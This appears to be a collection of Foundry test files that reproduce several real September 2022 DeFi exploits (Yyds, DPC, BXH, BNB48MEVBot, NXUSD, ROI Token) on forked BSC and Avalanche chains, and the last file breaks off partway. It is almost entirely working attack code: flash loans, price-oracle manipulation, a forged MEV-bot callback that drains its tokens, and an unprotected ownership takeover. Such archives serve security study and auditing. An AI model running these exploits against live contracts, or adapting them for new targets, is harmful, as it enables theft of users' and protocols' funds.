pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

interface TargetClaim {
    function claim(
        address
    ) external;
}

interface TargetWithdraw {
    function withdrawReturnAmountByMerchant() external;
    function withdrawReturnAmountByConsumer() external;
    function withdrawReturnAmountByReferral() external;
}

contract ContractTest is Test {
    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
    IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
    IERC20 YYDS = IERC20(0xB19463ad610ea472a886d77a8ca4b983E4fAf245);
    Uni_Pair_V2 Pair = Uni_Pair_V2(0xd5cA448b06F8eb5acC6921502e33912FA3D63b12);
    TargetClaim targetClaim = TargetClaim(0xe70cdd37667cdDF52CabF3EdabE377C58FaE99e9);
    TargetWithdraw targetWihtdraw = TargetWithdraw(0x970A76aEa6a0D531096b566340C0de9B027dd39D);
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    uint256 reserve0;
    uint256 reserve1;

    function setUp() public {
        cheats.createSelectFork("bsc", 21_157_025);
    }

    function testExploit() public {
        emit log_named_decimal_uint("[Start] Attacker USDT balance before exploit", USDT.balanceOf(address(this)), 18);

        (reserve0, reserve1,) = Pair.getReserves();
        uint256 amount0Out = USDT.balanceOf(address(Pair));
        Pair.swap(amount0Out - 1 * 1e18, 0, address(this), new bytes(1));

        emit log_named_decimal_uint("[End] Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 18);
    }

    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
        emit log_named_decimal_uint("Attacker YYDS balance before exploit", YYDS.balanceOf(address(this)), 18);

        targetClaim.claim(address(this));
        try targetWihtdraw.withdrawReturnAmountByReferral() {} catch {}
        try targetWihtdraw.withdrawReturnAmountByMerchant() {} catch {}
        try targetWihtdraw.withdrawReturnAmountByConsumer() {} catch {}

        emit log_named_decimal_uint("Attacker YYDS balance after exploit", YYDS.balanceOf(address(this)), 18);

        uint256 yydsInContract = YYDS.balanceOf(address(this));
        YYDS.transfer(address(Pair), yydsInContract);
        uint256 yydsInPair = YYDS.balanceOf(address(Pair));
        uint256 amountUsdt =
            (reserve0 * reserve1 / ((yydsInPair * 10_000 - yydsInContract * 25) / 10_000)) / 9975 * 10_000;
        USDT.transfer(address(Pair), amountUsdt);
    }
}

Yyds Exploit (2022-09)


pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

interface IPair {
    function approve(address, uint256) external;
    function balanceOf(
        address
    ) external returns (uint256);
}

interface IDPC {
    function approve(address, uint256) external;
    function balanceOf(
        address
    ) external returns (uint256);
    function tokenAirdrop(address, address, uint256) external;
    function stakeLp(address, address, uint256) external;
    function claimStakeLp(address, uint256) external;
    function claimDpcAirdrop(
        address
    ) external;
}

contract ContractTest is Test {
    IDPC DPC = IDPC(0xB75cA3C3e99747d0e2F6e75A9fBD17F5Ac03cebE);
    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
    IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
    IPair Pair = IPair(0x79cD24Ed4524373aF6e047556018b1440CF04be3);
    IPancakeRouter Router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("bsc", 21_179_209);
    }

    function testExploit() external {
        emit log_named_decimal_uint("[Start] Attacker WBNB balance before exploit", WBNB.balanceOf(address(this)), 18);

        DPC.approve(address(Router), ~uint256(0));
        USDT.approve(address(DPC), ~uint256(0));
        USDT.approve(address(Router), ~uint256(0));
        Pair.approve(address(DPC), ~uint256(0));
        WBNB.approve(address(Router), ~uint256(256));

        address(WBNB).call{value: 2 ether}("");
        WBNBToUSDT();
        USDTToDPC();
        DPC.tokenAirdrop(address(this), address(DPC), 100);
        addDPCLiquidity();
        DPC.stakeLp(address(this), address(DPC), Pair.balanceOf(address(this)));

        cheats.warp(block.timestamp + 24 * 60 * 60); //spend time

        for (uint256 i = 0; i < 9; i++) {
            DPC.claimStakeLp(address(this), 1);
        }
        DPC.claimDpcAirdrop(address(this));
        DPCToWBNB();

        emit log_named_decimal_uint("[End] Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), 18);
    }

    function WBNBToUSDT() public {
        address[] memory path = new address[](2);
        path[0] = address(WBNB);
        path[1] = address(USDT);
        Router.swapExactTokensForTokens(WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp);
    }

    function USDTToDPC() public {
        address[] memory path = new address[](2);
        path[0] = address(USDT);
        path[1] = address(DPC);
        Router.swapExactTokensForTokens(USDT.balanceOf(address(this)) / 2, 0, path, address(this), block.timestamp);
    }

    function addDPCLiquidity() public {
        Router.addLiquidity(
            address(USDT),
            address(DPC),
            USDT.balanceOf(address(this)),
            DPC.balanceOf(address(this)),
            0,
            0,
            address(this),
            block.timestamp
        );
    }

    function DPCToWBNB() public {
        address[] memory path = new address[](3);
        path[0] = address(DPC);
        path[1] = address(USDT);
        path[2] = address(WBNB);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            DPC.balanceOf(address(this)), 0, path, address(this), block.timestamp
        );
    }
}

DPC Exploit (2022-09)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// Total Lost :  40085 USDT
// Attacker : 0x81c63d821b7cdf70c61009a81fef8db5949ac0c9
// Attack Contract : 0x4e77df7b9cdcecec4115e59546f3eacba095a89f
// Vulnerable Contract : https://bscscan.com/address/0x27539b1dee647b38e1b987c41c5336b1a8dce663
// Attack Tx  0xa13c8c7a0c97093dba3096c88044273c29cebeee109e23622cd412dcca8f50f4

CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
IERC20 constant BXH = IERC20(0x6D1B7b59e3fab85B7d3a3d86e505Dd8e349EA7F3);

contract Attacker is Test {
    IERC20 constant vUSDT = IERC20(0x19195aC5F36F8C75Da129Afca8f92009E292B84a);
    IERC20 constant usdt = IERC20(0x55d398326f99059fF775485246999027B3197955);
    IWBNB constant wbnb = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
    IPancakeRouter constant pancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
    IPancakeRouter constant bxhRouter = IPancakeRouter(payable(0x6A1A6B78A57965E8EF8D1C51d92701601FA74F01));

    IPancakePair constant usdtwbnbpair = IPancakePair(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE); // wbnb/usdt Pair
    IPancakePair constant bxhusdtpair = IPancakePair(0x919964B7f12A742E3D33176D7aF9094EA4152e6f); // bxh/usdt Pair

    TokenStakingPoolDelegate constant bxhtokenstaking =
        TokenStakingPoolDelegate(0x27539B1DEe647b38e1B987c41C5336b1A8DcE663);

    function setUp() public {
        cheat.createSelectFork("bsc", 21_727_289);
        cheat.label(address(BXH), "BXH");
        cheat.label(address(usdt), "USDT");
        cheat.label(address(wbnb), "WBNB");
        cheat.label(address(pancakeRouter), "PancakeRouter");
        cheat.label(address(usdtwbnbpair), "usdt/wbnb Pair");
        cheat.label(address(bxhusdtpair), "bxh/usdt Pair");
        cheat.label(address(bxhRouter), "BXH Router");
    }

    function testExploit() public {
        // Before attack need deposit first

        // cheat.rollFork(21665464);
        // cheat.prank(0x81C63d821b7CdF70C61009A81FeF8Db5949AC0C9);

        // //emit log_named_decimal_uint("[Start]  VUSDT Balance Of 0x54f611135A9b88bbE23a8CF6C1310c59321F2717:", vUSDT.balanceOf(address(0x54f611135A9b88bbE23a8CF6C1310c59321F2717)), 18);
        // vUSDT.transfer(address(this), 5582000000000000000000);
        // emit log_named_decimal_uint("[Start] contract VUSDT Balance is:", vUSDT.balanceOf(address(this)), 18);

        // vUSDT.approve(0x27539B1DEe647b38e1B987c41C5336b1A8DcE663, type(uint256).max);

        // bxhtokenstaking.deposit(0, vUSDT.balanceOf(address(this)));
        // emit log_named_decimal_uint("[Start] contract Despoit VUSDT ", vUSDT.balanceOf(address(this)), 18);

        //cheat.rollFork(21727289);

        emit log_named_decimal_uint(
            "[Start] BXH-USDT  Pair USDT Balance is :",
            usdt.balanceOf(address(0x919964B7f12A742E3D33176D7aF9094EA4152e6f)),
            18
        );
        usdtwbnbpair.swap(3_178_800_000_000_000_000_000_000, 0, address(this), "0x");

        emit log_named_decimal_uint("[Over] Hacker USDT Balance is :", usdt.balanceOf(address(this)), 18);
    }

    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
        console.log("[Flashloan] received");
        //approve bxh router for usdt
        usdt.approve(0x6A1A6B78A57965E8EF8D1C51d92701601FA74F01, type(uint256).max);

        address[] memory path = new address[](2);
        path[0] = address(0x55d398326f99059fF775485246999027B3197955);
        path[1] = address(0x6D1B7b59e3fab85B7d3a3d86e505Dd8e349EA7F3);

        bxhRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            usdt.balanceOf(address(this)) - 805_614_870_582_412_124_618, 1, path, address(this), block.timestamp
        );
        emit log_named_decimal_uint("[Flashloan] now Hacker BXH balance is :", BXH.balanceOf(address(this)), 18);

        usdt.transfer(0x27539B1DEe647b38e1B987c41C5336b1A8DcE663, 805_614_870_582_412_124_618);

        emit log_named_decimal_uint(
            "[Flashloan] now bxh contract USDT balance is :",
            usdt.balanceOf(address(0x27539B1DEe647b38e1B987c41C5336b1A8DcE663)),
            18
        );

        cheat.startPrank(0x4e77DF7b9cDcECeC4115e59546F3EAcBA095a89f);
        bxhtokenstaking.deposit(0, 0);
        usdt.transfer(address(this), usdt.balanceOf(address(0x4e77DF7b9cDcECeC4115e59546F3EAcBA095a89f)));
        cheat.stopPrank();

        emit log_named_decimal_uint("[Flashloan] Hacker USDT Balance is :", usdt.balanceOf(address(this)), 18);
        emit log_named_decimal_uint(
            "[Flashloan] bxh contract USDT Balance is :",
            usdt.balanceOf(address(0x27539B1DEe647b38e1B987c41C5336b1A8DcE663)),
            18
        );

        BXH.approve(0x6A1A6B78A57965E8EF8D1C51d92701601FA74F01, type(uint256).max);

        address[] memory bxh_usdtpath = new address[](2);
        bxh_usdtpath[0] = address(0x6D1B7b59e3fab85B7d3a3d86e505Dd8e349EA7F3);
        bxh_usdtpath[1] = address(0x55d398326f99059fF775485246999027B3197955);

        bxhRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            BXH.balanceOf(address(this)), 1, bxh_usdtpath, address(this), block.timestamp
        );

        emit log_named_decimal_uint("[Flashloan] Hacker USDT Balance is :", usdt.balanceOf(address(this)), 18);

        uint256 swapfee = amount0 * 26 / 10_000;

        usdt.transfer(address(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE), amount0 + swapfee);
    }

    receive() external payable {}
}

interface TokenStakingPoolDelegate {
    event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
    event DepositDelegate(address indexed user, address toUser, uint256 indexed pid, uint256 amount);
    event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    event PoolAdded(
        uint256 _pid,
        uint256 _allocPoint,
        address _lpToken,
        bool _enableBonus,
        address _bonusToken,
        address _swapPairAddress,
        uint256 _lockSeconds,
        uint256 _depositMin,
        uint256 _depositMax
    );
    event PoolAllocateChanged(uint256 _pid, uint256 _allocPoint);
    event PoolBonusChanged(
        uint256 _pid, bool _enableBonus, address _bonusToken, address _swapPairAddress, uint256 _lockSeconds
    );
    event PoolDepositChanged(uint256 _pid, uint256 _depositMin, uint256 _depositMax);
    event SetDelegate(bool, address);
    event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);

    function add(
        uint256 _allocPoint,
        address _lpToken,
        bool _enableBonus,
        address _bonusToken,
        address _swapPairAddress,
        uint256 _lockSeconds,
        uint256 _depositMin,
        uint256 _depositMax,
        bool _withUpdate
    ) external;

    function adminAddress() external view returns (address);

    function batchPrepareRewardTable(
        uint256 spareCount
    ) external returns (uint256);

    function claimAllReward() external;

    function claimBylpToken(
        address _lpToken
    ) external;

    function decayPeriod() external view returns (uint256);

    function decayRatio() external view returns (uint256);

    function decayTable(
        uint256
    ) external view returns (uint256);

    function delegateCaller() external view returns (address);

    function deposit(uint256 _pid, uint256 _amount) external;

    function depositByDelegate(uint256 _pid, address _toUser, uint256 _amount) external;

    function emergencyWithdraw(
        uint256 _pid
    ) external;

    function getITokenBlockRewardV(
        uint256 _lastRewardBlock
    ) external view returns (uint256);

    function getITokenBlockRewardV(uint256 _lastRewardBlock, uint256 blocknumber) external view returns (uint256);

    function getITokenBonusAmount(uint256 _pid, uint256 _amountInToken) external view returns (uint256);

    function iToken() external view returns (address);

    function lockedToken(uint256 _pid, address _user) external view returns (uint256);

    function massUpdatePools() external;

    function openDelegate() external view returns (bool);

    function owner() external view returns (address);

    function paused() external view returns (bool);

    function pending(uint256 _pid, address _user) external view returns (uint256, uint256);

    function pendingAllReward(
        address _user
    ) external view returns (uint256, uint256);

    function pendingBylpToken(address _lpToken, address _user) external view returns (uint256, uint256);

    function phase(
        uint256 blockNumber
    ) external view returns (uint256);

    function poolInfo(
        uint256
    )
        external
        view
        returns (
            address lpToken,
            uint256 allocPoint,
            uint256 lastRewardBlock,
            uint256 accITokenPerShare,
            uint256 totalAmount,
            uint256 lockSeconds,
            bool enableBonus,
            address bonusToken,
            address swapPairAddress,
            uint256 depositMin,
            uint256 depositMax
        );

    function poolLength() external view returns (uint256);

    function renounceOwnership() external;

    function rewardV(
        uint256 blockNumber
    ) external view returns (uint256);

    function safeGetITokenBlockReward(
        uint256 _lastRewardBlock
    ) external returns (uint256);

    function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) external;

    function setAdmin(
        address _adminAddress
    ) external;

    function setBonus(
        uint256 _pid,
        bool _enableBonus,
        address _bonusToken,
        address _swapPairAddress,
        uint256 _lockSeconds
    ) external;

    function setDecayPeriod(
        uint256 _block
    ) external;

    function setDecayRatio(
        uint256 _ratio
    ) external;

    function setDelegate(bool open, address caller) external;

    function setPause(
        bool _paused
    ) external;

    function setPoolDepositLimited(uint256 _pid, uint256 _depositMin, uint256 _depositMax) external;

    function setTokenPerBlock(
        uint256 _newPerBlock
    ) external;

    function startBlock() external view returns (uint256);

    function tokenPerBlock() external view returns (uint256);

    function totalAllocPoint() external view returns (uint256);

    function transferOwnership(
        address newOwner
    ) external;

    function updatePool(
        uint256 _pid
    ) external;

    function userDepositInfo(uint256, address, uint256) external view returns (uint256 orderTime, uint256 amount);

    function userInfo(
        uint256,
        address
    ) external view returns (uint256 amount, uint256 rewardDebt, uint256 rewardReceived, uint256 lastReceived);

    function withdraw(uint256 _pid, uint256 _amount) external returns (uint256);

    function withdrawBylpToken(address _lpToken, uint256 _amount) external;

    function withdrawEmergency(address tokenaddress, address to) external;

    function withdrawEmergencyNative(address to, uint256 amount) external;
}

BXH Exploit (2022-09)


pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

interface MEVBot {
    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external;
}

contract ContractTest is Test {
    address public _token0;
    address public _token1;
    IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
    IERC20 BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);
    IERC20 USDC = IERC20(0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d);
    MEVBot Bot = MEVBot(0x64dD59D6C7f09dc05B472ce5CB961b6E10106E1d);
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("bsc", 21_297_409);
    }

    function testExploit() public {
        emit log_named_decimal_uint("[Start] Attacker USDT balance before exploit", USDT.balanceOf(address(this)), 18);
        emit log_named_decimal_uint("[Start] Attacker WBNB balance before exploit", WBNB.balanceOf(address(this)), 18);
        emit log_named_decimal_uint("[Start] Attacker BUSD balance before exploit", BUSD.balanceOf(address(this)), 18);
        emit log_named_decimal_uint("[Start] Attacker USDC balance before exploit", USDC.balanceOf(address(this)), 18);

        uint256 USDTAmount = USDT.balanceOf(address(Bot));
        uint256 WBNBAmount = WBNB.balanceOf(address(Bot));
        uint256 BUSDAmount = BUSD.balanceOf(address(Bot));
        uint256 USDCAmount = USDC.balanceOf(address(Bot));

        (_token0, _token1) = (address(USDT), address(USDT));
        Bot.pancakeCall(
            address(this), USDTAmount, 0, abi.encodePacked(bytes12(0), bytes20(address(this)), bytes32(0), bytes32(0))
        );
        (_token0, _token1) = (address(WBNB), address(WBNB));
        Bot.pancakeCall(
            address(this), WBNBAmount, 0, abi.encodePacked(bytes12(0), bytes20(address(this)), bytes32(0), bytes32(0))
        );
        (_token0, _token1) = (address(BUSD), address(BUSD));
        Bot.pancakeCall(
            address(this), BUSDAmount, 0, abi.encodePacked(bytes12(0), bytes20(address(this)), bytes32(0), bytes32(0))
        );
        (_token0, _token1) = (address(USDC), address(USDC));
        Bot.pancakeCall(
            address(this), USDCAmount, 0, abi.encodePacked(bytes12(0), bytes20(address(this)), bytes32(0), bytes32(0))
        );

        emit log_named_decimal_uint("[End] Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 18);
        emit log_named_decimal_uint("[End] Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), 18);
        emit log_named_decimal_uint("[End] Attacker BUSD balance after exploit", BUSD.balanceOf(address(this)), 18);
        emit log_named_decimal_uint("[End] Attacker USDC balance after exploit", USDC.balanceOf(address(this)), 18);
    }

    function token0() public view returns (address) {
        return _token0;
    }

    function token1() public view returns (address) {
        return _token1;
    }

    function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) public {}
}

BNB48MEVBot Exploit (2022-09)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @Analysis
// https://medium.com/nereus-protocol/post-mortem-flash-loan-exploit-in-single-nxusd-market-343fa32f0c6
// Refer: https://github.com/kedao/exploitDefiLabs/blob/main/src/test/Nxusd_exp.sol
// Refer: https://dashboard.tenderly.co/tx/ava/0x0ab12913f9232b27b0664cd2d50e482ad6aa896aeb811b53081712f42d54c026

abstract contract IDegenBox {
    function setMasterContractApproval(
        address user,
        address masterContract,
        bool approved,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) public virtual;

    function masterContractApproved(address masterContract, address user) external view virtual returns (bool);
}

interface ICauldronV2 {
    function updateExchangeRate() external returns (bool, uint256);

    function cook(
        uint8[] calldata actions,
        uint256[] calldata values,
        bytes[] calldata datas
    ) external payable returns (uint256, uint256);
}

contract ContractTest is Test {
    ILendingPool aaveLendingPool = ILendingPool(0x794a61358D6845594F94dc1DB02A252b5b4814aD);
    Uni_Router_V2 Router = Uni_Router_V2(0x60aE616a2155Ee3d9A68541Ba4544862310933d4);
    Uni_Pair_V2 Pair = Uni_Pair_V2(0xf4003F4efBE8691B60249E6afbD307aBE7758adb);
    ICurvePool CRVPool1 = ICurvePool(0x001E3BA199B4FF4B5B6e97aCD96daFC0E2e4156e);
    ICurvePool CRVPool2 = ICurvePool(0x3a43A5851A3e3E0e25A3c1089670269786be1577);
    IERC20 WAVAX = IERC20(0xB31f66AA3C1e785363F0875A1B74E27b85FD66c7);
    IERC20 USDC_e = IERC20(0xA7D7079b0FEaD91F3e65f86E8915Cb59c1a4C664);
    IUSDC USDC = IUSDC(0xB97EF9Ef8734C71904D8002F8b6Bc66Dd9c48a6E);
    IERC20 NXUSD = IERC20(0xF14f4CE569cB3679E99d5059909E23B07bd2F387);
    IDegenBox DegenBox = IDegenBox(0x0B1F9C2211F77Ec3Fa2719671c5646cf6e59B775);
    ICauldronV2 CauldronV2 = ICauldronV2(0xC0A7a7F141b6A5Bce3EC1B81823c8AFA456B6930);
    address metaPool = 0x6BF6fc7EaF84174bb7e1610Efd865f0eBD2AA96D;
    address masterContract = 0xE767C6C3Bf42f550A5A258A379713322B6c4c060;
    // flashLoan
    address[] public _assets = [0xB97EF9Ef8734C71904D8002F8b6Bc66Dd9c48a6E]; //usdc
    uint256[] public _amounts = [51_000_000_000_000];
    uint256[] public _modes = [0];
    // borrow
    uint8[] public actions = [5, 21, 20, 10];
    uint256[] public values = [0, 0, 0, 0];
    uint256 borrowAmounts = 998_000 * 1e18;
    uint256 share = 0;

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("avalanche", 19_613_451);
    }

    function testExploit() public {
        USDC.approve(address(Router), type(uint256).max);
        WAVAX.approve(address(Router), type(uint256).max);
        // AAVE flashloan
        aaveLendingPool.flashLoan(address(this), _assets, _amounts, _modes, address(this), new bytes(1), 0);

        emit log_named_uint("After exploit repaid, profit in USDC of attacker:", USDC.balanceOf(address(this)) / 1e6);
    }

    function executeOperation(
        address[] memory assets,
        uint256[] memory amounts,
        uint256[] memory premiums,
        address initiator,
        bytes memory params
    ) public returns (bool) {
        assets;
        amounts;
        premiums;
        params;
        initiator;
        // get LP token
        buyWAVAXAndAddLP();
        // change LP price
        address[] memory path = new address[](2);
        path[0] = address(USDC);
        path[1] = address(WAVAX);
        Router.swapExactTokensForTokens(USDC.balanceOf(address(this)), 0, path, address(this), block.timestamp);

        /*
         * borrow NXUSD
        */
        // set contract apporval
        NXUSD.approve(address(CRVPool1), type(uint256).max);
        Pair.approve(address(DegenBox), type(uint256).max);
        DegenBox.setMasterContractApproval(address(this), masterContract, true, 0, 0, 0);
        // update rate
        CauldronV2.updateExchangeRate();
        // cook function in CauldronV2
        bytes[] memory datas = new bytes[](4);
        datas[0] = abi.encode(borrowAmounts, address(this)); // type borrow
        datas[1] = abi.encode(NXUSD, address(this), borrowAmounts, share); // type withdraw
        datas[2] = abi.encode(Pair, address(this), 45_330_977_931_305_070, share); // type deposit
        datas[3] = abi.encode(-2, address(this), false); // Collateral enter market
        CauldronV2.cook(actions, values, datas);

        // sell WAVAX`
        sellWAVAX();
        // NXUSD -> avCRV -> USDC_e
        CRVPool1.exchange_underlying(metaPool, 0, 2, 998_000 * 1e18, 950_000 * 1e6);
        // USDC_e -> USDC
        USDC_e.approve(address(CRVPool2), type(uint256).max);
        CRVPool2.exchange(0, 1, 800_000 * 1e6, 700_000 * 1e6);
        sellUSDC_e();
        USDC.approve(address(aaveLendingPool), type(uint256).max);
        return true;
    }

    function buyWAVAXAndAddLP() public {
        address[] memory path = new address[](2);
        path[0] = address(USDC);
        path[1] = address(WAVAX);
        Router.swapExactTokensForTokens(280_000 * 1e6, 0, path, address(this), block.timestamp);
        Router.addLiquidity(
            address(USDC),
            address(WAVAX),
            260_000 * 1e6,
            500_000 * 1e18,
            250_000 * 1e6,
            0,
            address(this),
            block.timestamp
        );
    }

    function sellWAVAX() public {
        address[] memory path = new address[](2);
        path[0] = address(WAVAX);
        path[1] = address(USDC);
        Router.swapExactTokensForTokens(WAVAX.balanceOf(address(this)), 0, path, address(this), block.timestamp + 60);
    }

    function sellUSDC_e() public {
        address[] memory path = new address[](2);
        USDC_e.approve(address(Router), type(uint256).max);
        path[0] = address(USDC_e);
        path[1] = address(USDC);
        Router.swapExactTokensForTokens(USDC_e.balanceOf(address(this)), 0, path, address(this), block.timestamp + 60);
    }
}

NXUSD Exploit (2022-09)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo - Total Lost : 157.98 BNB (~44,000 US$)
// Attacker : 0x91b7f203ed71c5eccf83b40563e409d2f3531114
// Attack Contract : 0x158af3d23d96e3104bcc65b76d1a6f53d0f74ed0
// Vulnerable Contract : https://bscscan.com/address/0xe48b75dc1b131fd3a8364b0580f76efd04cf6e9c#code (ROIToken)
// Attack Tx : 0x0e14cb7eabeeb2a819c52f313c986a877c1fa19824e899d1b91875c11ba053b0

// @NewsTrack
// Blocksec : https://twitter.com/BlockSecTeam/status/1567746825616236544
// CertiKAlert : https://twitter.com/CertiKAlert/status/1567754904663429123
// PANews : https://www.panewslab.com/zh_hk/articledetails/mbzalpdi.html
// QuillAudits Team : https://medium.com/quillhash/decoding-ragnarok-online-invasion-44k-exploit-quillaudits-261b7e23b55

CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
IROIToken constant ROI = IROIToken(0xE48b75dc1b131fd3A8364b0580f76eFD04cF6e9c);

contract Attacker is Test {
    IERC20 constant busd = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);
    IWBNB constant wbnb = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
    IPancakeRouter constant pancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
    IPancakePair constant busdroiPair = IPancakePair(0x745D6Dd206906dd32b3f35E00533AD0963805124); // BUSD/ROI Pair

    function setUp() public {
        cheat.createSelectFork("bsc", 21_143_795);
        cheat.deal(address(this), 5 ether);
        cheat.label(address(ROI), "ROI");
        cheat.label(address(busd), "BUSD");
        cheat.label(address(wbnb), "WBNB");
        cheat.label(address(pancakeRouter), "PancakeRouter");
        cheat.label(address(busdroiPair), "BUSD/ROI Pair");
    }

    function testExploit() public {
        emit log_named_decimal_uint("[Start] Attacker BNB Balance:", address(this).balance, 18);

        console.log("----------------------------------------------------");
        console.log("Attacker swap some BNB to ROI for attack fund...");
        console.log("Before [WBNB, BUSD, ROI] swap:");
        emit log_named_decimal_uint("\tBNB balance of attacker:", address(this).balance, 18);
        emit log_named_decimal_uint("\tROI balance of attacker:", ROI.balanceOf(address(this)), 9);

        address[] memory path = new address[](3);
        path[0] = address(wbnb);
        path[1] = address(busd);
        path[2] = address(ROI); // [WBNB, BUSD, ROI]
        pancakeRouter.swapETHForExactTokens{value: 5 ether}(111_291_832_999_209, path, address(this), block.timestamp); // Swap 5 bnb to busd then swap to ROI, charge 0.25% trading fee

        console.log("After [WBNB, BUSD, ROI] swap:");
        emit log_named_decimal_uint("\tBNB balance of attacker:", address(this).balance, 18);
        emit log_named_decimal_uint("\tROI balance of attacker:", ROI.balanceOf(address(this)), 9);
        console.log("----------------------------------------------------");

        ROI.transferOwnership(address(this)); // Broken Access Control
        ROI.setTaxFeePercent(0);
        ROI.setBuyFee(0, 0);
        ROI.setSellFee(0, 0);
        ROI.setLiquidityFeePercent(0);

        // These's addresses are all of the ROI Token holders, but the [BUSD/ROI Pair] is not listed.
        // Ref: https://bscscan.com/token/0xE48b75dc1b131fd3A8364b0580f76eFD04cF6e9c#balances
        ROI.excludeFromReward(address(0x575e2Cd07E4d6CCBcA708D64b4ba45521A2C0722));
        ROI.excludeFromReward(address(0x216FC1D66677c9A778C60E6825189508b9619908));
        ROI.excludeFromReward(address(0x61708418F929f264Edd312aDC7089eB9d69cEd9C));
        ROI.excludeFromReward(address(0xC81DC8F793415B80d7Ee604e936B79D85BD771B6));
        ROI.excludeFromReward(address(0x19af64CFB666d7Df8C69F884CDf5d42c0e1F9D0C));
        ROI.excludeFromReward(address(0xA982444d884e00C7dFBBCB90e7a705E567853d0E));
        ROI.excludeFromReward(address(0x899045B0B52d55Be0210A1046a01B99C78E44540));
        ROI.excludeFromReward(address(0xDdda7b2D1B9EbafD37c434b90a09fca6d014682F));
        ROI.excludeFromReward(address(0xf3C7107024e4935FbFd9f665cF5321146DfBD9a8));
        ROI.excludeFromReward(address(0x6f84160a01f3D4005eB50582d14F17B72575A80A));
        ROI.excludeFromReward(address(0x143B8568B1ef2F22f3A67229E80DCF0e6fe9bf96));
        ROI.excludeFromReward(address(0x16A31000295d1846F16B8F1aee3AeDC6b2cB730b));
        ROI.excludeFromReward(address(ROI));
        ROI.excludeFromReward(address(this));

        console.log("Attacker sends all ROI to [BUSD/ROI Pair] but withholding 100,000 ROI");
        uint256 ROI_bal = ROI.balanceOf(address(this));
        ROI.transfer(address(busdroiPair), ROI_bal - 100_000e9); // taxfee is zero
        console.log("----------------------------------------------------");

        console.log("Before flashloans from [BUSD/ROI Pair]");
        emit log_named_decimal_uint("\tROI balance of attacker:", ROI.balanceOf(address(this)), 9); // Expect 100,000
        emit log_named_decimal_uint("\tBUSD balance of attacker:", busd.balanceOf(address(this)), 18);
        emit log_named_decimal_uint("\tROI balance of BUSD/ROI Pair:", ROI.balanceOf(address(busdroiPair)), 9);
        emit log_named_decimal_uint("\tBUSD balance of BUSD/ROI Pair:", busd.balanceOf(address(busdroiPair)), 18);

        ROI.setTaxFeePercent(99);
        // Attacker flashloans 4,343,012 ROI from [BUSD/ROI Pair], and attacker will immediately payback
        busdroiPair.swap(4_343_012_692_003_417, 0, address(this), "3030"); // Notice: 99% taxfee will be charged from the [BUSD/ROI Pair]

        console.log("After flashloans from [BUSD/ROI Pair]");
        emit log_named_decimal_uint("\tROI balance of attacker:", ROI.balanceOf(address(this)), 9); // Expect 0, Because #L122
        emit log_named_decimal_uint("\tBUSD balance of attacker:", busd.balanceOf(address(this)), 18);
        emit log_named_decimal_uint("\tROI balance of BUSD/ROI Pair:", ROI.balanceOf(address(busdroiPair)), 9); // Expect before+100,000
        emit log_named_decimal_uint("\tBUSD balance of BUSD/ROI Pair:", busd.balanceOf(address(busdroiPair)), 18); // Expect same value

        ROI.setTaxFeePercent(0);
        ROI.includeInReward(address(this)); // This will set _tOwned[address(this)] = 0

        busdroiPair.sync(); // Sync reserve before swap
